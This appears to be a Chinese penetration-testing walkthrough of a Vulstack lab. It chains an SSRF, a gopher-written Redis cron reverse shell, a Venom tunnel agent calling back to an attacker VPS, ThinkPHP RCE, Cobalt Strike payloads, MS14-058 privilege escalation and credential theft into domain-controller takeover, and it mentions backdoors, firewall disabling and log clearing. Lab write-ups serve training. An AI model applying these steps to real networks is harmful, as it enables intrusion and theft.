因为最近遇到一次实战,环境较为敏感,就不通过用真实环境来记录了。

我通过模拟环境来记录最终拿下域控的全过程,网络环境如下:

  1. 通过Vulstack的靶场模拟内网环境

  2. DMZ网段,一台LinuxRedis和公网WEB服务机器,不在域内

  3. 存在内网WEB服务,并且内网WEB服务在域内

0x01 外网突破:

  1. 在进行打点测试时,发现Web应用存在SSRF漏洞(通过Demo模拟),探测后发现协议没有限制,先探测一下本机的端口:

    image-20200716172747463
  2. 发现6379端口开启,猜测为Redis,通过dict操作发现,存在未授权访问漏洞,版本为5.0.9

    image-20200716173012531
  3. 可以通过Gopher协议写计划任务实现反弹shell,反弹shell到公网,通过一个小工具,生成Gopher数据:

    image-20200716174303989
    • 收到Shell,是一个哑Shell,目标机器存在Python环境,我们通过Python弹一个完整Shell
# 执行命令:

python -c 'import pty; pty.spawn("/bin/bash")'
  • 得到Shell:

    image-20200716180433725

0x02 内网隧道建立:

  1. 先看一下网络结构,192.168.135.0,通过Venom将目标内网流量代理出去:
image-20200716180633188
  • agent下载到目标机,将流量转发出去:
# 目标机执行:

./agent_linux_x64 -rhost vps-ip -rport 9999
image-20200716182256213
  • 进入节点,启动代理:
image-20200716182755084
  • 本机配置好全局代理,探测网段192.168.135.0/24,端口扫描结果如下,重点关注192.168.135.150
image-20200716185746105
  • 访问一下,ThinkPHP框架,存在RCE
image-20200716201058258
image-20200716201134790

0x03 横向渗透

  1. 通过RCE,发现是台Windows主机,出外网,先排查下目标机器有没有AV或者杀毒,排查后没有杀毒

    image-20200716202327799
    1. 直接CS生成Payload,远程下载执行,上线成功:

      image-20200716205859157
    2. 等主机上线后我们就可以把代理关闭了,以后在启动代理通过CS启动就可以,给Linux主机种一个SSH后门,隐藏一个文件,作为启动文件,开始进行横向渗透:

      • 通过MS14-058提权,获得管理员权限:
      image-20200716210430982
  • 抓密码和hash,维持好权限:
image-20200716210622062
  • 收集一下网段信息,以及域内机器,真实环境中,还有各类域内服务,

    image-20200716210801220
  • Ping一下,得到域控IP: 192.168.138.138Arp-a查看所有ARP缓存表中的所有信息:

image-20200716210900907
image-20200716211007406
  • 结构很明确了,下一步直接拿域控,因为密码已经抓到了明文直接伪造Token,来上线域控

    image-20200716211201911
image-20200716211230041
  • 在Web服务器上起一个中转监听,以后域内机器都通过Web来进行中转,查看域内机器,远程上线域控:

    image-20200716211444818
  • 直接上线,因为Web服务器的防火墙时开启的,我们暴力一点直接远程关闭防火墙,然后上线域控:

    image-20200716212724437
  • 最终结果:

image-20200716212950555

后续清理各类日志,维持权限,可以通过反射dll来维持,效果极佳

权限持好后,就可以进行数据收集以及密码查找

收集的关键信息在横向,收集到信息在横向,最终撸穿内网

0x04 总结

  1. 相对基础的的一次渗透过程,真实环境中,也是外网进去,拿到了域内Web服务器,真实环境就不放了..主要工具免杀以及权限维持都会花费大量时间
  2. SSRF-->Redis-->DC 全过程的起点都是小小的一个SSRF,可见危害是及其严重的
  3. 继续努力,早日脱

0x05 所用到的工具:

https://github.com/Dliv3/Venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具

https://github.com/LS95/gopher-redis-auth
gopher-redis-auth生成工具